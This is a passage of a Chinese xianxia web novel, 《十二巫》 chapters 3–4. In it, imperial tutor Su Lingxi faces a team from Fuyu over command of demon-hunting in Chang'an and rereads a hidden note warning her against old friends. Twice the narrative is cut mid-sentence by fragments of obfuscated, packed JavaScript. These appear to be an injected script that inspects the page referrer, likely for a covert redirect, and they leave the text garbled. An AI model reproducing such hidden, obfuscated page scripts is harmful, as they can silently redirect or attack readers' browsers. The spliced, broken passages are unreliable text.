《十二巫》 3.第 3 章 屋里燃着灯,熏着香,也站着不止一个人。 轩窗边,漆桌旁,屏风后均倚着身影,有的环着胸抱剑看头顶,有的透过窗口看远处,都跟多大不耐烦似的垂着眼,低着头,大半张脸浸在昏寐暗影中。 苏聆兮的视线落在离得最近的男子身上。 他既没低腰,也不拱手,只朝苏聆兮略一点头,从容平静:“浮玉诛妖行动副指挥使桑褚,见过帝师。” 正是方才开口请她进门的那把声线。 “近日手边事务缠身,今日才来相见。”苏聆兮笑了笑,并不在意虚礼,再自然不过地接:“久闻指挥使大名,幸会。” 她这般说,这般笑,究竟是真情还是客套,哪里瞒得过在场几双眼睛。事实上,在两人说话之际,原本垂着的眼睛几乎都无声望了过来,待听到最后一个字音时,有几人眼神中的光彩微不可见黯淡了些许。 知道她不记得了。 没想到忘得这么彻底。 即便如此,也有两三人不错眼地观察她,没有挪开视线。 实在是…… 太久了。 十四年其实对有四五百岁寿命的浮玉人来说不算什么,可在这一刻,望着十几步之外那副熟悉,却好似有明显变化的五官容貌,再强的定力与心性,都会陷入瞬间的恍惚,而后意识到,十四年被拉得无限长,长得像浩瀚汹涌的江河,滔天的浪头打过来,打到脸上,足以令人片刻窒息。 苏聆兮离开浮玉的时候,只有十八岁。 古灵精怪的女孩被十四年光阴一塑,塑成位高权重,从容不迫的帝师,她看人的神情,唇边的弧度,乃至每一个出口的字音,都游刃有余,恰到好处。 即便是昔日旧友,也寻不到半个突破口,窥见她一星半点真实的想法。 “深夜前来,惊扰诸位休息了。” 十六七的女孩声音自然是清脆,又自带甜蜜,帝师苏聆兮的声音却自然而然的褪去了甜意,只是依旧清脆,噙着浑然天成的庄重与冷静。 桑褚给她倒了杯茶,推到桌边,闻言也没否认,只笑着顺道提一嘴:“深夜到访,帝师应有要事与我等商议。” 苏聆兮垂眸看了两眼,很给面子地将那盏茶端在掌心中,几根手指转动着摩挲着红梅白瓷杯沿,杯里茶水滚烫,没一会,她的手指就被灼出艳红色。她却恍然不觉,皱了下眉坦诚道:“一个时辰前,长安城中发生了件事。” 或许是真的忙,用日理万机来形容帝师一点也不为过,苏聆兮说话相当直白,习惯于省去诸多的客套,寒暄和回敬,向来直入主题。 他们十四年没有见过苏聆兮,但知道她捧着帝皇玉贴进过两次浮玉,听说最后一次面对“门”,她上来也只有一句话:天柱断折,妖柜失守了。 桑褚等她接着说下去。 “鬼面髅出现了,在我们新谱写的百妖录中,它排名五十八。” 苏聆兮眼神好像落在了桑褚一人身上,完全没留意其他人,她低头抿了口茶水,唇舌间留下麻木滚热的涩痛,被一口咽下:“不是多厉害的东西,可我担心它的出现并未偶然,也绝不是长安城内唯一的妖物。排名靠前的东西修为高,藏着不露面的话镇妖司队伍难以探查出来,浮玉在这方面有得天独厚的优势,镇妖司需要浮玉的力量。” “可浮玉已经在帮助镇妖司了,不是么?” 桑褚此人俊秀挺拔,仪容不凡,不论是笑着,还是正色着,都没多大攻击性,和那副嗓音搭在一块,只叫人觉得儒雅和气,如沐春风。 他用指腹抵抵鼻梁,好脾气地提醒:“若我没有记错,在抵达长安城的当天,浮玉的十五支队伍就都派遣出去,协助镇妖司诛妖除噩了。” “是。” “可最厉害的队伍并没有行动。” 说到这,苏聆兮这才掀眼环顾四周,一一打量其他人,但也没看多久,很快收回视线,“排名前十的妖物在千年前掀起过腥风血雨,至今为止,我们对它们了解并不完善。京畿乃一国根本,皇宫与陛下都在这里,没有足够强悍的力量待命,我不能安心。” 桑褚听完一时没有说话,像在思考。 倒是那个最靠近窗边,直勾勾盯着苏聆兮看了好一会的青年“啧”了声,长指没什么节奏地敲了敲身下的扶手边沿,发出“笃笃”的声音吸引注意。 “我说。帝师的意思是要将我们都收编了,为朝廷效力不成?” 青年模样颇为俊俏,长发乌黑柔顺,用一根红绸带简单束着,单膝曲坐在窗边的漆木桌上,相当洒脱随性。 苏聆兮与他对视了一会,垂着眸,扯动唇角略弯出一个弧度:“我倒是想为陛下收下更多龙虎悍将,只是我胃口大,胆量却小,遇到超出能力范围太大的事喜欢掂量掂量自己,因而暂时没有这个打算。” “那么是要我们随时待命,听朝廷调派?” “不。” 苏聆兮摇头,启唇:“听我调派。” 好几人的目光霎时一凛,气氛悄然凝滞。 “人间朝廷身陷困境,向浮玉请求增援,我们才来到长安城。既然镇妖司和帝师没有解决妖患的能力,技不如人就该退位让贤,而非提出这种要求。” 苏聆兮静默了瞬,并不意外这一幕。事实上,早在得知妖物出逃的那一日,她就想过会有和浮玉争夺指挥权归属而对峙的时刻。 行军打仗前确定主帅副帅与前锋将军是最为重要的事,诛妖自然不例外。 苏聆兮瞥了瞥屋里众人,开口道: “往空泛了说,匡扶皇室,兼济天下亦是‘门’的职责,而浮玉执行‘门’的命令。” “往具体了说。” 她也并未揪着“技不如人”这个颇具挑衅意义的词语争辩一二,逞口舌之能解决不了任何问题,这么多年里,她早已养成习惯,每个动作每句话都只奔问题本身。 “长安城内,天子脚下,无论有妖与否,都是世间最复杂的地方,人心叵测,形势诡谲,三大宗内关系如何,朝堂党争几派,从来没有定数。浮玉高洁,向来不沾惹俗世的腐臭,干干净净地来,又搏干干净净的名声回或许更符合诸位心中期许。” 不得不说,这话着实说到了人的心坎里,比面红耳赤的争辩来得有意义许多。 浮玉之人最忌讳与皇宫,朝廷之间产生羁绊,好的坏的最好都避开。正如苏聆兮所说,浮玉肩负着匡扶皇室的职责,而一旦与责任二字扯上关系,必然因此受限。 他们修习着世间最高深的术法,相当看不上所谓求大道的三大宗,却又被更为弱小的朝廷,女帝震慑着,又或者说,是被皇帝手中的镇国大印与皇城脚下那条龙脉略略压制了。 牵绊太深,会沾因果,遭反噬。 简而言之,会倒霉。 因此谁也不愿意靠得太近。 平心而论,这番话若是换个国师来说,话好听些,态度软些,说不定这指挥权也半推半就给出去了,毕竟他们也是为解决问题来的。 只是,说这话的人太不对了。 越是言简意赅,越是挖空心思,直击要害地来说服他们,就越像是在干燥的屋里丢下烧得正旺的火把,让人心中“腾”的烧起浓烈的憋闷和不满来。 她苏聆兮生在浮玉,长在浮玉,就算完全忘记了过去,但她的身世她的来处谁不知道,她现在却完完全全套进了帝师的身份里,殚精竭虑为这个王朝效力。 她说浮玉高洁,可她原本也是他们中的一个。她说这座皇城污秽复杂,官场厮杀各人逐利,可自己却完全融入了这座城池。 面对他们并不像面对友人,别说多热忱友好了,简直是在提防什么立场不明的危险物。 巧妙的试探底线,周旋着虚与委蛇。 窗口吹来热风,将窗边檀木案桌上随意叠放着的纸张吹得哗哗作响,发出极像雨水露珠淌流过树叶的动静,一声后隔不久又接上一声,将满室寂静拉得更长。 最终还是那青年从鼻子里发出一声突兀的哂笑,正欲说什么时,被桑褚唤住:“余临安。” 余临安视线与他相撞,皱了眉,没有再说话。 紧随其后出声的是个女孩。 苏聆兮进屋时,唯有她规规矩矩地坐在了八仙桌前的凳子上,这人声线过分年轻,脸蛋更是稚气满满,看着不过十二三岁的年龄,双眼边贴着冰蓝色的冰晶,这让她两只眼仁看起来更为晶莹剔透。 “可我们答应不了你。”她仰着头看苏聆兮,双手静静地垂在膝盖上,压住蓬松柔软的白色裙边,年龄虽小,举手投足却已经很像样子,“浮玉有浮玉的规矩,我们这次只听指挥使命令。” 这是苏聆兮第三次从人嘴里听说指挥使这个名号。 也显然说的不是桑褚这位副指挥使。 既然人没到,这人如何神秘什么秉性暂且不提。 眼下。 兜来兜去,口舌白费,还是兜回了原点。 苏聆兮没打算让话题停滞不前,她时间有限,不爱做无用功。 “这样。” 苏聆兮端着茶盏,学他们似的转身倚着桌角,姿势从容,连双肩都放松地落了几分,眼角微弯:“我还以为在除妖一事上,你们早有决意,能够给我确定的答复。” 话说到这,多少都带点咄咄逼人的意思了。 桑褚眼尾笑意敛收,他侧首:“帝师不请自来,我以为是要好言相商,现在看来,并不友好。” “不请自来么。”苏聆兮将手里揣了小半刻的茶盏撂回桌上,笑了下:“我觉得我来北院,正合你们心意。” 她反问:“怎么?难道你们不想见我?” 她的语气太熟稔了,同方才上来公事公办的语气完全不一样,像朋友间无所谓的调侃,绝对称不上不友好。这让屋里两三人眼神交织碰撞,惊疑不定。 实际上,这只是相安无事的表象像面纱一样被人挑开,不过挑开的那人深谙谈判之道,揭短时亦用笑吟吟的姿态罢了。 苏聆兮刻意晾着这些人十几天,忙是真忙,但没忙到挤不出时间见一见想见的人。眼下时局不定,变化太多,她身在漩涡中心,谨慎的想要确认的事自然不少。 这支精锐来人间的目的是否只有除妖一件,便是她首先要确认的。 连溪柳都知道她出自浮玉,几次三番露出欲言又止的神色,她自己又岂会真不做任何准备。 苏聆兮右侧十几步的位置站着个金鸡独立姿势的女人,瘦瘦高高,好似常年睡不好,眼下挂着两团乌青,说话冲得很:“你什么意思。” “噢。没什么意思。” 苏聆兮上下睫毛阖了下,像被什么呛到了,偏头闷闷咳了声,才回:“就是想问问,监视帝师府这些天了,想做的事做成了吗。” “收到的答复令诸位满意吗?” 这回屋里真正安静下来了,针落可闻。 温和的人变得严肃,吊儿郎当的人也收起了直抖擞的脚尖。 她的突然发难没什么气势,正因如此,愈发分不清是她真知道了什么还是信口开河来炸他们的。 从进屋起苏聆兮的视线就没长时间落在一个人身上过,往往只随意扫一两眼,还没她看那个茶盏看得仔细。事实上,在进这间屋子前,这里每一个人的画像都摆在她案桌上过。 她知道坐在窗边,绸带束发的青年叫余临安,有一双化腐朽为神奇的手,会扎纸,会扶乩,会做人傀。话多,咋呼。 知道小女孩叫白绡,年龄是真小,过了年才算十二,总随身挎一个小玉筒子,长宽两三寸,筒子里装着特制的仙香,修习点香术。 也知道那个毫不客气冷声问她什么意思的女子叫霖玉,总是白天睡晚上醒,昼夜颠倒,在队里独来独往,对谁都没好脸色。她身法十分出众,总是上一瞬还在,下一瞬影子就到了百米开外。这人修习的路子有点怪,据溪流分析,偏向追踪与伏杀。 还知道桑褚脾气好,待人温柔有礼,很多刺头与镇妖司官员的碰撞都是他在中间缓冲安抚才平息下来。 在朝为官这么多年,苏聆兮不知见过多少难缠的人奇葩的事,揣度人心的本领登峰造极。 这些天她明里暗里丢过许多选择给他们。一如今夜她问他们是她来北院,还是他们去南院。 一般来说,也就来与去,见与不见这两个答复。 徘徊在帝师府外的那些人足以证明,这些人一定是想见她的。 所以苏聆兮对溪柳说,如果是她,她会主动。既然想在别人身上窥探些什么,主动是最好的,尚能掌握一些主动权。 要么不见。毕竟浮玉高傲,下值早,朝廷官员在他们那没什么面子。 然而他们两样都没选。 模棱两可的态度实则只传达了一个意思:他们想见她,但不能主动。 不直接拒绝是因为这十七天苏聆兮一次面都没现,错过这次,再给她一个浮玉并不想见面的讯号,因此造成的后果与他们心中想法相悖。 不能主动是因为他们的诉求隐秘,不能宣之于口,最好不要让苏聆兮警惕,提防。 她的身上有他们要的某个答案。 果然。 迟迟不参与除妖行动,是因为这支队伍接到的命令不止除妖一条。 苏聆兮敛去眼睛里一闪而过的阴霾,两指一夹,从袖子里夹出两张纸符,摁在桌角上,突然记起为自己辩驳一两句,似笑非笑:“放任你们的人在帝师府转悠好些天了,今夜才捉人。” “哪不友好了。” 桑褚离她近,一眼就看清楚了,那两张纸符是浮玉独有,看着是纸,实则是薄若蝉翼的玉,象征着每个人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为满意,说话就更像闲聊了,甚至提起“小孩”和“并无恶意”两个词时还有点笑音,不知道是另类嘲讽还是什么,总之让人耳热。 “这是镇妖司内部联系的符篆,用时无火自燃,每张能用十五次。”苏聆兮挑挑眉将淡蓝色符篆撂下一小叠,抬眸扫视一圈,缓声确认:“有事的时候,我能及时联系上你们,是吧?” 上风被占尽,白绡绷着脸出声:“需要的时候我们自然会帮你除妖,但不能保证次次都到,指挥使一到,我们也有别的事要做。” 苏聆兮看看她,信口问:“你们指挥使什么时候到?” 白绡看她的眼神变得尤为微妙,她撇了下嘴,移开脸。 半晌,桑褚替她回答:“不知道,没收到信。” 苏聆兮颔首,身体站直,因这个动作,腰间挂着的银色铃铛跟着晃了晃,因为没有声音,像个胖鼓鼓的香囊,很快被荷包和衣襟压下去。 “时间不早了。”她看看窗外月亮,朝桑褚说句体面话作为结尾:“今后的事,就劳烦诸位了。” 这时候知道时间不早了。 时间不是她挑的么。 待苏聆兮的背影出了门,跟她身边那个女官走到一起,消失在夜雾中,又等了一会,脚步声彻底听不到了,北院的门一关,大半人都挂不住脸色。 “就这么走了?”有人问。 “不然?三言两语,人就把想要的承诺带走了,留下来干嘛,陪你吃个夜饭?”霖玉掀起眼皮反问。 苏聆兮来镇妖司那会,有不少人已经进入梦乡了,都是听了消息猛的惊醒,急匆匆抓着件外裳就来了。 余临安就是从被窝里跳出来的一个。 霖玉也是。她晚上几乎不睡觉,好不容易一睡又醒,过来见到人,还没上擂台呢就输了,还显得很蠢,现在脸色更差。 白绡仰起头,手还是静静压着裙边,皱眉道:“为什么这么快把指挥权交出去,我们可以与她拉扯几番再答应,说不定能从她身上套出消息来。” 桑褚解释道:“苏聆兮不好对付,尤其是这么多年下来,有长足的进步,心思难以揣测。我们递出了把柄冒犯了她,不确定她是否有耐心与我们周旋,指挥权本非我们所需,拿着徒添烦恼,为这个跟人皇见面没有必要,让苏聆兮觉得我们对她恶意深重更是本末倒置。” 白绡绷着小脸,不漏丁点笑,声音也冷冰冰的,像个冰雕玉琢的雪娃娃。 她说出事实:“苏聆兮和你们说的不一样。” 何止不一样,那差得可太多了。 桑褚于是一边将苏聆兮用过的茶盏放回原位,一边抬眼看看屋里的两三人,道:“那就得问问苏聆兮的好朋友们了。” 被他盯着的人一下不自在极了,好在早就有过心理建设,现在是心不跳脸不红,满脸正气,脸上好似写着一行大字:谁是苏聆兮的朋友? 霖玉见桑褚的眼神居然在她身上停留了会,眉心一拧,没好气道:“你看我?有病没病?” “……” 大家的视线最后汇聚到一人身上,迎着这些人的目光,余临安嘴角抽了下,好像也想解释点什么,思来想去无从开口,无从抵赖,指尖抵着鼻子蹭了下痒:“问谁也没用,你们都没见过苏聆兮不成?没跟她说过话聊过天怎么的?” “她以前那个性格,没了记忆,但知道自己出身在哪,怎么也会好奇,会问吧,你看她今晚问了吗?压根不关心。” 说着说着,余临安掌心滚动的灵球亮了下,低头一看,顿时皱眉,好半天才抬起脸接着说下去:“都已经这么着了,我觉得没差,今晚做得挺好。” 不然还能怎么着。 十四年,不是十四天,十四个月。 民间关于帝师的传闻多不胜数,按时间顺序拼一拼,都能在虚无中窥见一个人的成长轨迹。越来越缜密,果断,冷酷。 翻云覆雨,生杀予夺。 他们在浮玉驾鹤骑鱼去天山,去终南采晶露,折仙葩的时候,苏聆兮在人间边境清剿叛军,在招降,在为病秧子皇帝守江山。他们在四书院看着掌教的脸,面对考核被太阳晒得昏昏欲睡时,苏聆兮又经历了一些人的背叛,在太极殿被朝臣联名弹劾,上面是皇帝猜忌的目光。 讲术法修为,或许能跟现在的苏聆兮比一比。 但要比计策,比心眼,想一眼看穿现在的苏聆兮在想些什么,那不是开玩笑呢么。 桑褚明白他的意思,也认同这话的道理,低叹一声:“只是这样,想找到十二巫就更难了。” “还是先担心担心眼前的事吧。” 余临安将手中灵球托起,悬在半空,手指点点上面的消息:“刚得到的消息,叶逐叙自终南出关了。” 他想到一些情况,觉得牙齿隐隐疼起来:“说不清楚具体什么时候到,但就是这两天了。” “他跟苏聆兮要是见了……”余临安都没敢深想那场面,囫囵用手在空中一抓,一放:“我都担心他们会不会‘砰’,把长安城炸了。” 话音落下,四周鸦默雀静。 4.第 4 章 从北院出来时已经丑时三刻,溪柳提着灯跟在苏聆兮身后,整座镇妖司像一座倒扣下来的钟,扣得严丝合缝,一到夜里鬼气森森,鼻尖还总萦绕着一股似有若无的血腥气。 溪柳问:“大人,可要回帝师府休息?” “不了。” 来一趟北院,苏聆兮也不是全然不受影响,此时在脑海中搜寻,想要找出一点与今日这些人相似的轮廓,然而很快发现都是徒劳,十几年前的记忆依旧一片空白。 这让她分了一会神才接着道:“就在镇妖司歇吧。” “是。” 过了会,苏聆兮眼神在溪柳手中卷案上停了会,问:“去过狱里了?审出什么了。” 溪柳将卷案展开递给她:“属下先让人提审了那位应国公世子之约前去的官宦之子,问出了一些情况。” 原来那人是上牧副监制子,其父能力不强,为人又清正,不懂攀附,不会左右逢源,多年来一直守着这么个官职过日子。父亲的道路眼见着走不通,其子只能想办法自己结识达官贵族家同龄的公子们,一个月前,还真叫他抓住了个机会,结识了宣国公家的这位小世子。 京中人人皆知,老国公夫人故去已有大半年,小世子却仍被失去至亲之痛折磨,悒悒不乐,重阙楼就是世子为祭奠老夫人而建的。 来这楼里,十有八九就是陪世子喝酒,听他说老夫人在世时的祖孙情,再开解他。 这可比读死书容易多了。 这人一次也没拒绝过。 今夜也是如此,进重阙楼后前半程自然离不开美味珍馐,佳酿和管弦之乐,酒劲上头后小世子红了脸,提起故去的老夫人又红了眼。也不知酒劲是不是太大,总之是出了问题,据他所说,小世子喝着喝着将酒盏一摔,说要带他去重阙楼见个人。 说他寻得一高人,高人有一秘法,能叫死人复生。 这便相当荒谬了。 然而戳穿人幻想的事他不愿做,只想默默观看,待事实摆在面前,小世子自然死心。 紧接着就看到了那号称是三大宗座上宾的高人术士,又眼睁睁看着这人指挥仆从搬来了一钵子鸡血,一钵子朱砂,六根燃了半截的香烛,三柱点了大半的香,又是舞剑又是摇铃,还将符纸贴上四面墙壁,振振有词地招魂。 结果魂没招来,招来了一只吃人的妖。 听到这,苏聆兮挑了下眉:“流云宗现在都有招魂,招妖的本事了?” “属下审了那术士,看了他师尊的亲笔信,确实是流云宗的人。这人话说得漂亮,说今夕妖柜失守,群妖乱舞,他们苦学多年,自当发挥毕生所学,与镇妖司齐心协力,保卫京畿与陛下。” 长安位于中心,在其北边林立着大大小小的修真门派,其中以流云剑宗,天禅寺与浮花宗三大宗为首。这次镇妖司成立,里面不少人都出自这三宗。 苏聆兮跟三宗的渊源纠葛更是早从十四年前新皇登基时就开始了,因此今夜在重阙楼里,一见那术士的手段就知道他师从何方。 溪柳接着说下去:“只是昔年国公府上有位三爷,乃小世子三叔,曾去师门里赌去了一样宝物,到了约定时间却未归还,此物对他们有大用,听说现在在小世子手中,就想在招魂时用迷魂术哄骗小世子,将东西骗到手。待了却此事,就揣着流云宗弟子凭证加入镇妖司。” 谁知道会发生这么邪门的事。 “听起来,是个处处巧合的误会。” 苏聆兮随意问溪柳:“你打算怎么处理。” 溪柳顿时打起十二分精神。帝师苏聆兮身后没有家族,她扶持的大多都是寒门学士,身世不行,但有抱负,肯干实事,最开始就是这样带在身边,不遗余力一点点教,经过这么多年的培植才有了今日朝堂上的亲信,这个习惯也一直保留了下来。 说句实在的,那些人,包括她,按理该叫苏聆兮一声老师。 只是普天之下,无人敢与天子同门。 “属下会尽快核查清楚。若——”她顿了顿,有一瞬明显的迟疑,而后道:“若核实无误,让镇妖司将人放回。” 小世子在镇妖司里要出什么事,国公府不得发疯?先皇帝……言王一党更要借题发挥了。 这是个多事的年头,举国的重心都在那些妖物身上,不能内讧了。 “多关几天。”苏聆兮将卷案卷回原样,轻轻放回溪柳手中:“鬼面髅是第一只在京城出现,有不菲攻击力的妖物,我不信这是单纯的巧合。跟妖物扯上干系,宁可错杀,不要错放,这是我的态度。” “是。”溪柳明白她是什么意思:“属下知道。” 苏聆兮在镇妖司有专供休憩的地方,小两间屋,白墙白瓦,跟那边小值房唯一不同的是前后门边上立着两个石墩子,石桌子。她不挑吃住,忙起来睡宫里,睡官署衙门或这样的值房,反而少有机会回帝师府。 因此浮玉那几个少年蹲了好一段时间,就没蹲到她回府几次。 溪柳去了隔壁,苏聆兮洗漱后没有立刻躺下,她推开窗,推开门,靠在床头若有所思。 半晌,她解下腰间玉佩在掌心中翻转了几个来回,一个端正威严的“苏”字贯穿牌面,看了看,她将五指与五个暗槽扣合,只听一声细弱的咔嚓声,玉佩从侧面裂开一道缝隙,露出里面极小的夹层来。 帝师身上藏着许多秘密。 这算其中一个。 苏聆兮拿开覆在夹层最上方那张防水的牛油纸,取出对折成三页的白纸,挑开。纸上写着字,笔走龙蛇,铁画银钩,每到收笔处均透着点凝肃的杀气。 这是她的字,很好辨认。 并不是第一次打开这张纸,只是眼睛扫过去,苏聆兮还是能第一时间分析出几分她当日心境。她平时字连笔多,力道重,更潦草,不如这样一字一字都规矩地收着,让人看得清清楚楚,没有任何分辨不出的,存疑的笔画。 如此端正,证明她觉得自己留下的这样东西十分重要。 第一页上只有两句话,打开第一眼就能悉数收入眼帘。 ——如果真有这一日。切记警惕一切来自故乡的东西,远离所有自称是你旧友的人。 苏聆兮目光在“友”字上多留了会。写到那儿,收尾的最后一笔并不流畅连贯,伏案提笔的人好似想到了什么,悬笔顿了下,导致随着时间的推移,那点墨渍加深,变得越发明显。 自己对自己还不了解么。 如果今夜没见桑褚等人,苏聆兮尚且不好下断定,可见了他们,她就知道这一停顿是什么意思了。 别的不提,旧友是真的。 从最开始桑褚几人暗含试探的眼神来看,他们认识她,这毋庸置疑。 探视之事被挑破后,料想帝师府能恢复清净。她猜那支队伍会改变策略,改为正大光明接近她,同她交流攀谈。既然是真有交情,如果有人主动,她可以适当给个豁口让他们撬一撬。 了解他们各自的本领方便后续排兵布阵,真到兵刃相见的时候也能做到知己知彼,这是其一。其二是,她也有不少疑问,不动声色试探拉扯时或许可以得到解答。 心中有了打算后,苏聆兮没有看后面两页,径直将它放回了夹层中,再用手指一敲,一叩,玉牌完整无缺地合上了。 做完这些,苏聆兮抻了抻手,仰着头闭目思忖。 夹层里的东西是四五年前写下的。 那个时候的苏聆兮还有一些关于浮玉的记忆,依稀还记得一些人,事,但大约是遗忘的越来越多,后面想起极为重要的人也费劲得很,要恍惚一会才能回过神来,于是知道距离彻底遗忘并不远了。 这一天无法避免,终于要来临了。 这才有了留给自己的各种东西。 是。 朝廷里那些叫嚣得厉害的老臣骂得没错,苏聆兮确实出身浮玉,又被驱逐。浮玉之人天生有过“门”的本领,无需人皇玉贴,无需通天能耐,那是回家的路。 传言只有犯下严重错误之人才会被浮玉驱逐。 被驱逐后浮玉会收回一切。 自那一刻起,浮玉的门将永远对其关闭,除非人间发生大事,捧着人皇玉贴作为使臣才能通过重重关卡见浮玉掌事一面。 而后,有关浮玉的一切记忆,朋友,家人,师长,爱人……都将随着时间的推移而逐渐抽离,直至一夜梦中惊醒,只觉做了个亘长的梦,醒了便散了,再不能回首顾望。 接下来是自出生起就修习的术法。 慢慢的无法回到巅峰水准,慢慢的用了成千上万次的术法在使用时也会出现错误,失去准头,慢慢的到最后,溶于骨血的熟悉也抵不过这残忍的惩罚,开始忘记步骤。 苏聆兮就是那个被定义犯下滔天大罪的倒霉蛋。 荒谬的是,连自己曾经做过什么都忘了。 几年前没彻底忘记的自己知道要留下纸条提防浮玉的人,却没有留下关于那件事的一言半语。 这个问题没法深想,想下去今晚不用睡了。 苏聆兮将后面一段时日的安排在心里过了一遍,起身关窗,关门,上榻休息。 第二天清晨下了场雨,雨点从屋檐滴落砸在地面的声音间歇不停。 苏聆兮一整天都待在镇妖司,哪也没去,各地诛妖队每天都会有消息传到她手里,传来的都是妖物的各种特征细节,伤人手段,有无明显的要害。这些都会被镇妖司官员记载进妖谱中,以供所有队伍翻阅,第一时间解决问题。 上午倒是各做各的事,风平浪静,无事发生。 待到下午,事情就挨个找上门来了。 先来南院的是余临安,他来长安十几日,时间不长,倒是把东西市都摸遍了,并且十分入乡随俗地将浮玉那种质感极好,像水纹淌动的曳地长袍换了,换成了当下时兴的圆领刺绣大袖衫,腰上配着玉带銙,叩击有声。 经历昨夜的事,今天被推过来的一定是从前当真和自己玩得不错的人。 余临安。 想想这人的性格,苏聆兮对这个结果并不意外。 “帝师。”余临安朝苏聆兮略一点头算打招呼。 “余公子。”苏聆兮压下手中的小册,起身让近侍去搬张小几,备茶水。 余临安坐下来,象征性搜刮了个不出差错的开头:“我来的可是时候?帝师在忙?” “不忙。” 苏聆兮看了眼摊开的写到一半的册本,侧首看他,给面子到连具体在做的事都说了出来:“正在撰写妖物集,在一件事上犹豫一段时间了。” 没成想是这等开场,余临安张张嘴:“什么?” “目前来看,千镜妖与尘及破坏力相当,两物场域目前都还未开,我该如何定排名。” 镇妖司在她手中建起来,既是权力,也是重逾泰山的责任。 苏聆兮有许多事情要亲自管,哪座城出现了什么样的妖物,排名在多少位,应该派什么样的队伍前去,丝毫不能掉以轻心。一个不小心,前去的队伍就是全军覆没的下场,城里的百姓也会遭殃。 这才几天,今天就已经有队伍出现伤亡了。 余临安一时坐也不是,站也不是,直接说自己不知道不是显得太没用了么,毕竟是时隔十四年后第一次单独见面。他斟酌了下语句,回:“浮玉平时也不学这些知识。我回去替帝师翻翻书,问问掌教。” 苏聆兮眼睛浅浅弯一下:“多谢。” 浮玉知道的东西,对付妖物的手段至少比他们瞎摸索的多,也准。 接下来片刻,苏聆兮与余临安的对话格外官方,茶上了就请他喝茶,问他们在镇妖司住得好不好,有什么需要跟下面人说就好。说不看重吧,手中的动作都停了,说看重吧,就这些车轱辘话。 气氛怪怪的。 过了一会,苏聆兮问:“余公子来找我,是有什么事要说?” 听着这称呼,余临安感觉更怪了,他道:“帝师府今早已经将那两人送回北院了,毫发无伤。这次的事是我们不……” “无事。” 苏聆兮回得体面,也是真不在意:“昨夜副指挥使说得不假,帝师府常发生这样的事,既然揭掉了,也说通了,余公子不用为此解释。我不放在心中。” 问题是,他们跟朝廷那些真要搞刺杀的老头们能一样么。怎么就画上等号了。 余临安被这文绉绉的官腔憋死了。 浮玉哪兴这个啊。 苏聆兮从前说话又哪是这样的。 他情愿她跟从前一样,一把将他们从云里薅到海里去。 现在跟苏聆兮说他们是朋友,真是朋友,从前关系特铁那种,在她那可信度能有一成么。 见苏聆兮没有别的要交流的意思,余临安想了想,窝着一肚子憋闷起身告辞,决定先回去把能找到的妖物的消息都搜罗来,切实的帮助才是叩开人心扉的第一步。 总比动嘴皮子强。 起身时正好溪柳匆匆进来,错身时这位帝师近侍朝余临安拱手,又低声朝上首禀报,可能是因为闹得有些大,都知道了,所以没有压低声音:“大人,宣国公府来人了。” 苏聆兮嗯了声,伏首案间,头也没抬:“别放进来。” 溪柳和余临安一前一后出了南院。 从南院到北院,绕远路的话能经过正门,隔着挺长一段路,余临安就听到那边传出不小的动静,镇妖司每天都热闹,队伍进进出出,奔赴天南海北,但至少不会有哭嚎声和叫骂声。 原想着无非就是朝堂里朝堂外的事,谁知一抬头,竟看到了大门口冷冰冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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溪柳硬着头皮复述,其实翻来覆去无非就是那些,说她眼中无君无父,大逆不道,说她媚主,弄权,扯着镇妖司的幌子公报私仇,误国乱民。挖苦她此生无归处,无父无母无子无师友亲眷,在外流亡乞食苟活而已。 骂人的词才多少,这三年来挨个来一遍,能变出什么花来? 说来也好笑。如果没有苏聆兮,大概再经历十朝也见不到这样撕破脸皮,官官对骂的粗鄙场面,她开创了这样的先河,就此一发不可收拾。 “陈词滥调。”苏聆兮听完表情没什么变化,平静地朝余临安看回去:“每天蹲在帝师府门前的人一波接一波,何况这些嘴皮功夫,暂时随他们去,我现在没时间和他们算账。” 余临安这下真坐不住了,她再不信,也得为自己辩解一句:“我们和这些人真不一样。” 怎可能一样。 这是余临安第一次来人间,十四年前发生那件事后,所有跟苏聆兮,十二巫沾亲带故的人都被勒令老实了很长一段时间,期间无论用什么借口都无法出‘门’。 直到这次妖柜出事,浮玉能力足够的精英能够自己申请前来,他连犹豫都没犹豫就来了。 哪怕出门得干苦活累活。 十四年的时间实在不短,失去亲人的有了新的亲人,失去爱人的慢慢放下,又遇见了别的缘分,他失去了朋友,可这些年又交了新的朋友。 时间夺走一切,又抚平一切。 余临安发现自己想得太理所应当了,他甚至觉得十四年过去怎么了,被除名了不记得了又怎么了,朋友就是朋友,同在人间做事,多接触接触,多了解了解不就行了。 他的变化或许不大。 可苏聆兮变了。 被不知多少这种老东西逼的。 怎么就无父无母无师长亲友了。 余临安喉咙有些涩然的不舒服,见苏聆兮只挑一下眼,不置可否的样子,默了会,又问:“他们经常这么骂你?” 苏聆兮没说什么。 从苏聆兮这里看不出什么,但从溪柳的脸上可以看出,这真不算什么。 余临安张张嘴,道:“有什么需要帮忙的,你来找我。” “我们以前认识,关系不错。不骗你。” 苏聆兮这下真有些意外了。 小小的承诺来得轻易,莫名其妙。 她对余临安礼节性道了谢,而后掀眼,正色道:“若是公子能找到有关妖物的记载,请交给镇妖司,我们重礼相谢,但不要插手朝廷的任何事。” 余临安示意自己知道。帝师身份牵扯太广,她受的桎梏也多,不能随心所欲,有些事情发生了,也得给人皇交代。 他看着苏聆兮的脸,还想告诉她叶逐叙要到了。 他从前就阴郁乖张,也就在她面前装得像个正常人,她走后一段时间,疯得特别厉害,修为也疯一样涨,剑法已勘极致。现在谁也摸不准他的想法,谁也看不懂他,是个漠然一切的极端危险分子。 凭个名字,就压得一众心高气傲的浮玉天骄无话可说。 总之,见面会怎样,真不好说。 想想他现在说了,苏聆兮不管信不信,采不采取措施,都可能让本就难以预测的局势变得一发不可收拾,于是张张嘴,又止住。 等这几天,机会合适了,再旁敲侧击提一提吧。 怀揣着这种想法,余临安离开了南院。 他一走,溪柳便上前一步,对苏聆兮耳语:“大人,人已经送回去了。” 